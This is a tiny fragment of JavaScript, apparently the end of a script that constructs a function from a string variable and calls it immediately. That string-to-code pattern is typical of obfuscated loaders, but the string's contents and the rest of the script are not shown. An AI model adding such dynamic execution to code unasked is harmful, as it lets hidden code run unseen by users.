Function(b)()}();